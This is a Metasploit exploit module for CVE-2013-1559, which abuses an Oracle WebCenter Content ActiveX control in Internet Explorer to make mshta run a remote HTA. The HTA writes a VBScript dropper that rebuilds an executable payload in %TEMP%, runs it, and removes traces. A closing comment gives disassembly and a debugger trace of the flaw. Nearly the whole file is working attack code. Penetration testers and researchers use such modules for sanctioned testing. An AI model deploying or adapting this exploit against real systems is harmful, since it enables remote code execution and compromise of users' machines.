##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Oracle WebCenter Content CheckOutAndOpen.dll ActiveX Remote Code Execution",
        'Description' => %q{
          This module exploits a vulnerability found in the Oracle WebCenter Content
          CheckOutAndOpenControl ActiveX. This vulnerability exists in openWebdav(), where
          user controlled input is used to call ShellExecuteExW(). This module abuses the
          control to execute an arbitrary HTA from a remote location. This module has been
          tested successfully with the CheckOutAndOpenControl ActiveX installed with Oracle
          WebCenter Content 11.1.1.6.0.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'rgod <rgod[at]autistici.org>', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2013-1559' ],
          [ 'OSVDB', '92386' ],
          [ 'BID', '59122' ],
          [ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpuapr2013-1899555.html' ],
          [ 'ZDI', '13-094' ]
        ],
        'Payload' => {
          'Space' => 2048,
          'StackAdjustment' => -3500
        },
        'DefaultOptions' => {
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Automatic', {} ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2013-04-16',
        'DefaultTarget' => 0,
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_delete_file
              stdapi_sys_config_getenv
            ]
          }
        }
      )
    )

    self.needs_cleanup = true
  end

  def exploit
    @var_exename = rand_text_alpha(5 + rand(5)) + ".exe"
    @dropped_files = [
      @var_exename
    ]
    super
  end

  def on_new_session(session)
    if session.type == "meterpreter"
      session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")

      @dropped_files.delete_if do |file|
        win_file = file.gsub("/", "\\\\")
        begin
          wintemp = session.sys.config.getenv('TEMP')
          win_file = "#{wintemp}\\#{win_file}"
          session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
          session.fs.file.rm(win_file)
          print_good("Deleted #{file}")
          true
        rescue ::Rex::Post::Meterpreter::RequestError
          print_error("Failed to delete #{win_file}")
          false
        end
      end
    end
  end

  def build_hta(cli)
    var_shellobj	= rand_text_alpha(rand(5) + 5);
    var_fsobj	= rand_text_alpha(rand(5) + 5);
    var_fsobj_file	= rand_text_alpha(rand(5) + 5);
    var_vbsname	= rand_text_alpha(rand(5) + 5);
    var_writedir	= rand_text_alpha(rand(5) + 5);

    var_origLoc	= rand_text_alpha(rand(5) + 5);
    var_byteArray	= rand_text_alpha(rand(5) + 5);
    var_writestream	= rand_text_alpha(rand(5) + 5);
    var_strmConv	= rand_text_alpha(rand(5) + 5);

    p = regenerate_payload(cli);
    exe = generate_payload_exe({ :code => p.encoded })

    # Doing in this way to bypass the ADODB.Stream restrictions on JS,
    # even when executing it as an "HTA" application
    # The encoding code has been stolen from ie_unsafe_scripting.rb
    print_status("Encoding payload into vbs/javascript/hta...");

    # Build the content that will end up in the .vbs file
    vbs_content	= Rex::Text.to_hex(%Q|
Dim #{var_origLoc}, s, #{var_byteArray}
#{var_origLoc} = SetLocale(1033)
|)
    # Drop the exe payload into an ansi string (ansi ensured via SetLocale above)
    # for conversion with ADODB.Stream
    vbs_ary = []
    # The output of this loop needs to be as small as possible since it
    # gets repeated for every byte of the executable, ballooning it by a
    # factor of about 80k (the current size of the exe template).  In its
    # current form, it's down to about 4MB on the wire
    exe.each_byte do |b|
      vbs_ary << Rex::Text.to_hex("s=s&Chr(#{("%d" % b)})\n")
    end
    vbs_content << vbs_ary.join("")

    # Continue with the rest of the vbs file;
    # Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent
    # Then use ADODB.Stream again to write the binary to file.
    # print_status("Finishing vbs...");
    vbs_content << Rex::Text.to_hex(%Q|
Dim #{var_strmConv}, #{var_writedir}, #{var_writestream}
                    #{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{@var_exename}"

Set #{var_strmConv} = CreateObject("ADODB.Stream")

#{var_strmConv}.Type = 2
#{var_strmConv}.Charset = "x-ansi"
#{var_strmConv}.Open
#{var_strmConv}.WriteText s, 0
#{var_strmConv}.Position = 0
#{var_strmConv}.Type = 1
#{var_strmConv}.SaveToFile #{var_writedir}, 2

SetLocale(#{var_origLoc})|)

    hta = <<-EOS
      <script>
      var #{var_shellobj} = new ActiveXObject("WScript.Shell");
      var #{var_fsobj}    = new ActiveXObject("Scripting.FileSystemObject");
      var #{var_writedir} = #{var_shellobj}.ExpandEnvironmentStrings("%TEMP%");
      var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs",2,true);

      #{var_fsobj_file}.Write(unescape("#{vbs_content}"));
      #{var_fsobj_file}.Close();

      #{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true);
      #{var_shellobj}.run(#{var_writedir} + "\\\\" + "#{@var_exename}", 0, false);
      #{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs");
      window.close();
      </script>
    EOS

    return hta
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']

    if agent !~ /MSIE \d/
      print_error("Browser not supported: #{agent.to_s}")
      send_not_found(cli)
      return
    end

    print_status("Request received for #{request.uri}");

    if request.uri =~ /\.hta$/
      hta = build_hta(cli)
      print_status("Sending HTA application")
      send_response(cli, hta, { 'Content-Type' => 'application/hta' })
      return
    end

    uri = "#{get_uri}#{rand_text_alpha(rand(3) + 3)}.hta"

    html = <<-EOS
    <html>
    <body>
    <object id="target" width="100%" height="100%" classid="clsid:A200D7A4-CA91-4165-9885-AB618A39B3F0"></object>
    <script>
      target.openWebdav("#{uri}");
    </script>
    </body>
    </html>
    EOS

    print_status("Sending HTML")
    send_response(cli, html, { 'Content-Type' => 'text/html' })
  end
end

=begin

* The vulnerable control tries to solve how to open the provided extension

.text:100099FC                 lea     eax, [ebp+830h+Src]
.text:10009A02                 push    eax             ; lpResult
.text:10009A03                 lea     eax, [ebp+830h+Directory]
.text:10009A06                 push    eax             ; lpDirectory
.text:10009A07                 lea     eax, [ebp+830h+PathName]
.text:10009A0D                 push    eax             ; lpFile
.text:10009A0E                 call    ds:FindExecutableW ; This function returns the executable associated with the specified file for the default verb

* If succeeds, the provided user data is used as argument:

.text:10009D8F                 lea     eax, [ebp+psz]
.text:10009D95                 mov     [ebp+pExecInfo.lpFile], eax
.text:10009D9B                 mov     eax, [ebp+var_238]
.text:10009DA1                 mov     [ebp+pExecInfo.cbSize], 3Ch
.text:10009DAB                 mov     [ebp+pExecInfo.fMask], 2000000h
.text:10009DB5                 mov     [ebp+pExecInfo.hwnd], ebx
.text:10009DBB                 mov     [ebp+pExecInfo.lpVerb], offset aOpen ; "open"
.text:10009DC5                 jnb     short loc_10009DCD
.text:10009DC7                 lea     eax, [ebp+var_238]
.text:10009DCD
.text:10009DCD loc_10009DCD:                           ; CODE XREF: make_ShellExecute_sub_10009ACC+2F9j
.text:10009DCD                 mov     [ebp+pExecInfo.lpParameters], eax
.text:10009DD3                 lea     eax, [ebp+pExecInfo]
.text:10009DD9                 push    eax             ; pExecInfo
.text:10009DDA                 mov     [ebp+pExecInfo.lpDirectory], ebx
.text:10009DE0                 mov     [ebp+pExecInfo.nShow], 0Ah
.text:10009DEA                 call    ds:ShellExecuteExW

* On the debugger:

Breakpoint 1 hit
eax=0201ef6c ebx=00000000 ecx=00000000 edx=03850608 esi=00000008 edi=00000000
eip=10009dea esp=0201ee08 ebp=0201f200 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
CheckOutAndOpen!DllUnregisterServer+0x7108:
10009dea ff156cd20210    call    dword ptr [CheckOutAndOpen!DllUnregisterServer+0x2a58a (1002d26c)] ds:0023:1002d26c={SHELL32!ShellExecuteExW (7ca02f03)}
0:007> dd esp
0201ee08  0201ef6c <== pExecInfo
0:007> dd 0201ef6c
0201ef6c  0000003c 02000000 00000000 10031468
0201ef7c  0201efe0 03854688
0:007> du 0201efe0
0201efe0  "C:\WINDOWS\system32\mshta.exe"
0:007> du 03854688
03854688  ""http://192.168.172.1:8080/xKRTv"
038546c8  "m0mqpAt7sEYdVq.hta""

This code allows to launch other executables with user data provided as argument, but at the moment I like the HTA
solution because it allows to pass URL's as arguments. And code executed by mshta is on a privileged zone. Other
executables allow to provide SMB URI's but metasploit only allow to 'simulate' a SMB resource through webdav, so
the target should have the WebClient service enabled, which is only enabled by default on XP SP3.
=end
